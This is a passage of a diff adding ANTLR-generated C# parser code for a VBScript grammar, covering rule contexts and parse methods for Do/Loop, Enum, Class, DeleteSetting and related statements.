[System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFDEC() { return GetToken(VBScriptParser.DEFDEC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFDATE() { return GetToken(VBScriptParser.DEFDATE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFSTR() { return GetToken(VBScriptParser.DEFSTR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFOBJ() { return GetToken(VBScriptParser.DEFOBJ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DEFVAR() { return GetToken(VBScriptParser.DEFVAR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public DeftypeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_deftypeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDeftypeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDeftypeStmt(this); + } + } + + [RuleVersion(0)] + public DeftypeStmtContext deftypeStmt() { + DeftypeStmtContext _localctx = new DeftypeStmtContext(Context, State); + EnterRule(_localctx, 76, RULE_deftypeStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 989; + _la = TokenStream.LA(1); + if ( !((((_la) & ~0x3f) == 0 && ((1L << _la) & 1099243192320L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 990; + Match(WS); + State = 991; + letterrange(); + State = 1002; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,108,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 993; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 992; + Match(WS); + } + } + + State = 995; + Match(COMMA); + State = 997; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 996; + Match(WS); + } + } + + State = 999; + letterrange(); + } + } + } + State = 1004; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,108,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DeleteSettingStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DELETESETTING() { return GetToken(VBScriptParser.DELETESETTING, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public DeleteSettingStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_deleteSettingStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDeleteSettingStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDeleteSettingStmt(this); + } + } + + [RuleVersion(0)] + public DeleteSettingStmtContext deleteSettingStmt() { + DeleteSettingStmtContext _localctx = new DeleteSettingStmtContext(Context, State); + EnterRule(_localctx, 78, RULE_deleteSettingStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1005; + Match(DELETESETTING); + State = 1006; + Match(WS); + State = 1007; + valueStmt(0); + State = 1009; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1008; + Match(WS); + } + } + + State = 1011; + Match(COMMA); + State = 1013; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,110,Context) ) { + case 1: + { + State = 1012; + Match(WS); + } + break; + } + State = 1015; + valueStmt(0); + State = 1024; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,113,Context) ) { + case 1: + { + State = 1017; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1016; + Match(WS); + } + } + + State = 1019; + Match(COMMA); + State = 1021; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,112,Context) ) { + case 1: + { + State = 1020; + Match(WS); + } + break; + } + State = 1023; + valueStmt(0); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DoLoopStmtContext : ParserRuleContext { + public DoLoopStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_doLoopStmt; } } + + public DoLoopStmtContext() { } + public virtual void CopyFrom(DoLoopStmtContext context) { + base.CopyFrom(context); + } + } + public partial class DlwStatementContext : DoLoopStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DO() { return GetToken(VBScriptParser.DO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOOP() { return GetToken(VBScriptParser.LOOP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WHILE() { return GetToken(VBScriptParser.WHILE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNTIL() { return GetToken(VBScriptParser.UNTIL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public DlwStatementContext(DoLoopStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDlwStatement(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDlwStatement(this); + } + } + public partial class DlStatementContext : DoLoopStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DO() { return GetToken(VBScriptParser.DO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOOP() { return GetToken(VBScriptParser.LOOP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public DlStatementContext(DoLoopStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDlStatement(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDlStatement(this); + } + } + public partial class DwlStatementContext : DoLoopStmtContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DO() { return GetToken(VBScriptParser.DO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOOP() { return GetToken(VBScriptParser.LOOP, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WHILE() { return GetToken(VBScriptParser.WHILE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode UNTIL() { return GetToken(VBScriptParser.UNTIL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public DwlStatementContext(DoLoopStmtContext context) { CopyFrom(context); } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDwlStatement(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDwlStatement(this); + } + } + + [RuleVersion(0)] + public DoLoopStmtContext doLoopStmt() { + DoLoopStmtContext _localctx = new DoLoopStmtContext(Context, State); + EnterRule(_localctx, 80, RULE_doLoopStmt); + int _la; + try { + int _alt; + State = 1083; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,124,Context) ) { + case 1: + _localctx = new DlStatementContext(_localctx); + EnterOuterAlt(_localctx, 1); + { + State = 1026; + Match(DO); + State = 1028; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1027; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1030; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,114,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1038; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,116,Context) ) { + case 1: + { + State = 1032; + block(); + State = 1034; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1033; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1036; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + State = 1040; + Match(LOOP); + } + break; + case 2: + _localctx = new DwlStatementContext(_localctx); + EnterOuterAlt(_localctx, 2); + { + State = 1041; + Match(DO); + State = 1042; + Match(WS); + State = 1043; + _la = TokenStream.LA(1); + if ( !(_la==UNTIL || _la==WHILE) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1045; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,117,Context) ) { + case 1: + { + State = 1044; + Match(WS); + } + break; + } + State = 1047; + valueStmt(0); + State = 1049; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1048; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1051; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,118,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1059; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,120,Context) ) { + case 1: + { + State = 1053; + block(); + State = 1055; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1054; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1057; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + break; + } + State = 1061; + Match(LOOP); + } + break; + case 3: + _localctx = new DlwStatementContext(_localctx); + EnterOuterAlt(_localctx, 3); + { + State = 1063; + Match(DO); + State = 1065; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1064; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1067; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,121,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + { + State = 1069; + block(); + State = 1071; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1070; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1073; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + State = 1075; + Match(LOOP); + State = 1076; + Match(WS); + State = 1077; + _la = TokenStream.LA(1); + if ( !(_la==UNTIL || _la==WHILE) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1079; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,123,Context) ) { + case 1: + { + State = 1078; + Match(WS); + } + break; + } + State = 1081; + valueStmt(0); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class EndStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END() { return GetToken(VBScriptParser.END, 0); } + public EndStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_endStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterEndStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitEndStmt(this); + } + } + + [RuleVersion(0)] + public EndStmtContext endStmt() { + EndStmtContext _localctx = new EndStmtContext(Context, State); + EnterRule(_localctx, 82, RULE_endStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1085; + Match(END); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class EnumerationStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ENUM() { return GetToken(VBScriptParser.ENUM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_ENUM() { return GetToken(VBScriptParser.END_ENUM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public PublicPrivateVisibilityContext publicPrivateVisibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EnumerationStmt_ConstantContext[] enumerationStmt_Constant() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public EnumerationStmt_ConstantContext enumerationStmt_Constant(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public EnumerationStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_enumerationStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterEnumerationStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitEnumerationStmt(this); + } + } + + [RuleVersion(0)] + public EnumerationStmtContext enumerationStmt() { + EnumerationStmtContext _localctx = new EnumerationStmtContext(Context, State); + EnterRule(_localctx, 84, RULE_enumerationStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1090; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==PRIVATE || _la==PUBLIC) { + { + State = 1087; + publicPrivateVisibility(); + State = 1088; + Match(WS); + } + } + + State = 1092; + Match(ENUM); + State = 1093; + Match(WS); + State = 1094; + ambiguousIdentifier(); + State = 1096; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1095; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1098; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + State = 1103; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while ((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & 562949936644063L) != 0) || _la==L_SQUARE_BRACKET || _la==IDENTIFIER) { + { + { + State = 1100; + enumerationStmt_Constant(); + } + } + State = 1105; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 1106; + Match(END_ENUM); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ClassStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode CLASS() { return GetToken(VBScriptParser.CLASS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_CLASS() { return GetToken(VBScriptParser.END_CLASS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public PublicPrivateVisibilityContext publicPrivateVisibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyContext moduleBody() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public ClassStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_classStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterClassStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitClassStmt(this); + } + } + + [RuleVersion(0)] + public ClassStmtContext classStmt() { + ClassStmtContext _localctx = new ClassStmtContext(Context, State); + EnterRule(_localctx, 86, RULE_classStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1111; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==PRIVATE || _la==PUBLIC) { + { + State = 1108; + publicPrivateVisibility(); + State = 1109; + Match(WS); + } + } + + State = 1113; + Match(CLASS); + State = 1114; + Match(WS); + State = 1115; + ambiguousIdentifier(); + State = 1117; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1116; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1119; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,129,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1127; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -248034361345L) != 0) || ((((_la - 128)) & ~0x3f) == 0 && ((1L << (_la - 128)) & 2891310960771857919L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1121; + moduleBody(); + State = 1123; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1122; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1125; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + + State = 1129; + Match(END_CLASS); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class EnumerationStmt_ConstantContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public EnumerationStmt_ConstantContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_enumerationStmt_Constant; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterEnumerationStmt_Constant(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitEnumerationStmt_Constant(this); + } + } + + [RuleVersion(0)] + public EnumerationStmt_ConstantContext enumerationStmt_Constant() { + EnumerationStmt_ConstantContext _localctx = new EnumerationStmt_ConstantContext(Context, State); + EnterRule(_localctx, 88, RULE_enumerationStmt_Constant); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1131; + ambiguousIdentifier(); + State = 1140; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==EQ || _la==WS) { + { + State = 1133; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1132; + Match(WS); + } + } + + State = 1135; + Match(EQ); + State = 1137; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,133,Context) ) { + case 1: + { + State = 1136; + Match(WS); + } + break; + } + State = 1139; + valueStmt(0); + } + } + + State = 1143; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1142; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + State = 1145; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE || _la==INLINE_SEP ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class EraseStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ERASE() { return GetToken(VBScriptParser.ERASE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public EraseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + 